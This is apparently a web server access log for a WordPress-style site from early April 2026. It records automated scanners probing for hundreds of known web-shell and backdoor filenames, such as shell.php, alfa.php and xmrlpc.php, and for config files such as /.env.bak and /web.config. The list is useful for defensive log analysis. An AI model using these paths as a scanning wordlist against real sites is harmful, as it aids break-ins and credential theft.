[03/Apr/2026:00:11:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 2.58.56.116 - - [03/Apr/2026:00:20:00 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.116 - - [03/Apr/2026:00:20:02 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /.env.bak HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /db.php HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15" 119.249.100.216 - - [03/Apr/2026:01:31:05 +0300] "GET /wp-content/uploads/2025/03/ HTTP/1.1" 301 795 "http://m.baidu.com/s?wd=thingbj0" "pc" 20.63.102.187 - - [03/Apr/2026:02:44:38 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.220.232.240 - - [03/Apr/2026:02:49:34 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 107.189.23.75 - - [03/Apr/2026:02:49:42 +0300] "GET /zipCF.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 20.220.232.240 - - [03/Apr/2026:02:50:01 +0300] "GET /wp-content/ssd/sallu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:50:43 +0300] "GET /js.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:50:51 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:50:54 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:51:05 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:51:14 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:55:32 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:58:00 +0300] "GET /wp-content/voga/sallu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:59:57 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:03:16 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:03:39 +0300] "GET /mo.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:36 +0300] "GET //wolv2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:07:41 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:08:12 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:09:38 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:09:53 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:10:27 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 157.20.142.19 - - [02/Apr/2026:23:57:39 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.72.178 - - [03/Apr/2026:00:13:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2.58.56.116 - - [03/Apr/2026:00:20:02 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.63.47.115 - - [03/Apr/2026:00:29:52 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:47:19 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:48:47 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:49:12 +0300] "GET /r4f_1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:49:20 +0300] "GET /wp-admin/maint/wp-is.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:49:28 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:51:26 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:52:17 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:53:22 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:54:51 +0300] "GET /wp-gr.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:05:44 +0300] "GET /admir.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:06:10 +0300] "GET /wp-admin/css/colour.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:06:59 +0300] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:10:20 +0300] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 2.58.56.116 - - [03/Apr/2026:00:20:00 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /database.php HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 176.65.132.241 - - [03/Apr/2026:00:55:07 +0300] "GET /web.config HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 180.97.39.99 - - [03/Apr/2026:01:31:06 +0300] "GET /wp-content/uploads/theplus-addons/ HTTP/1.1" 301 795 "http://m.baidu.com/s?wd=youthk83" "pc" 180.97.39.144 - - [03/Apr/2026:01:33:07 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "http://m.baidu.com/s?wd=amounthkr" "pc" 119.249.100.89 - - [03/Apr/2026:01:34:22 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "http://m.baidu.com/s?wd=negativez6h" "pc" 20.220.232.240 - - [03/Apr/2026:02:47:27 +0300] "GET /gpt-sh.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:47:37 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:48:52 +0300] "GET /n.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:49:05 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:49:50 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:50:11 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:52:10 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:53:39 +0300] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:54:07 +0300] "GET /v4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:54:22 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:56:24 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:57:15 +0300] "GET /app/webroot/filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:57:33 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:57:36 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:02:52 +0300] "GET /shoha.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:07:20 +0300] "GET /lmutxdvyp7u5yksqke8ozbjgCdefault.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:08:32 +0300] "GET /png.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:08:53 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:09:00 +0300] "GET /wp-is.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:09:08 +0300] "GET /file15.php HTTP/1.1" 301 795 "-" "-" 167.99.225.252 - - [03/Apr/2026:00:11:38 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 2.58.56.116 - - [03/Apr/2026:00:20:01 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.116 - - [03/Apr/2026:00:20:02 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 119.249.100.23 - - [03/Apr/2026:01:32:48 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "http://m.baidu.com/s?wd=aidxar" "pc" 20.220.232.240 - - [03/Apr/2026:02:48:58 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:50:23 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:50:25 +0300] "GET /file32.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:50:34 +0300] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:55:41 +0300] "GET /about3.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:58:09 +0300] "GET /dlu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:02:58:24 +0300] "GET /555.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:00:12 +0300] "GET /v.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:00:36 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:01:35 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:02:37 +0300] "GET /wp-admin/admin-post.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:00 +0300] "GET /inde.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:07 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:10 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:13 +0300] "GET /zxin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:04:29 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:05:11 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:05:16 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:05:27 +0300] "GET /media.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:06:40 +0300] "GET /lo.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:08:03 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [03/Apr/2026:03:08:24 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 74.7.244.61 - - [03/Apr/2026:03:42:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 4.204.186.15 - - [03/Apr/2026:04:11:13 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:11:21 +0300] "GET /wp-mail.php/wp-includes/ID3/taptap-null.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:11:24 +0300] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:11:37 +0300] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:18 +0300] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 404 796 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:18 +0300] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:51 +0300] "GET /wp-content/plugins/pwnd/gecko.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:54 +0300] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:15:24 +0300] "GET /about/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:15:30 +0300] "GET /Assets/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:20:26 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:20:45 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:21:03 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:21:41 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:22 +0300] "GET /wp-content/mu-plugins/gecko.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:50 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:53 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:24:22 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:07:55 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:08:18 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:08:28 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:08:48 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:10:20 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:11:08 +0300] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:06 +0300] "GET /.well-known/.well-known/cc.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:35 +0300] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:14 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:38 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:39 +0300] "GET /cgi-bin/1.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:16:00 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:16:23 +0300] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:16:40 +0300] "GET /assets/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:18:11 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:20:08 +0300] "GET /wp-admin/packed.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:23:29 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:07:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:07:39 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:08:03 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:03 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:25 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:28 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:34 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:40 +0300] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:43 +0300] "GET /Assets/item.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:49 +0300] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:11:29 +0300] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:11:45 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:17:18 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:18:58 +0300] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:19:11 +0300] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:19:37 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:20:52 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:21:34 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:06 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:28 +0300] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:23:19 +0300] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:23:35 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:23:42 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:23:46 +0300] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:24:37 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:08:37 +0300] "GET /libraries/legacy/info.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:08:41 +0300] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:10:29 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:10:41 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:10:45 +0300] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:10:49 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:00 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:25 +0300] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:12 +0300] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:42 +0300] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:46 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:46 +0300] "GET /cgi-bin/fm.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:52 +0300] "GET /wp-includes/block-supports/variations.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:28 +0300] "GET /.well-known/pki-validation/siteindex.php HTTP/1.1" 404 796 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:28 +0300] "GET /plugins/DaoZM.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:15:40 +0300] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:16:32 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:16:49 +0300] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:17:57 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:17:59 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:18:03 +0300] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:18:19 +0300] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:19:21 +0300] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:19:54 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:21:24 +0300] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:21:51 +0300] "GET /wp-admin/update.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:35 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:37 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:41 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:22:44 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 20.63.102.187 - - [03/Apr/2026:04:02:54 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 4.204.186.15 - - [03/Apr/2026:04:09:10 +0300] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:18 +0300] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:31 +0300] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:01 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:17:49 +0300] "GET /wp-content/plugins/Cache.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:19:46 +0300] "GET /.well-known/pkivalidation/log.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:21:08 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:21:11 +0300] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:24:07 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:07:47 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:10:09 +0300] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:10:12 +0300] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:49 +0300] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:53 +0300] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:07 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:20:37 +0300] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:23:04 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:09:57 +0300] "GET /th/plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:11:53 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:07 +0300] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:38 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:12:42 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:13:28 +0300] "GET /wp-includes/customize/shell.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:14:00 +0300] "GET /wp-includes/rest-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:15:02 +0300] "GET /assets/item.php HTTP/1.1" 301 795 "-" "-" 4.204.186.15 - - [03/Apr/2026:04:17:29 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 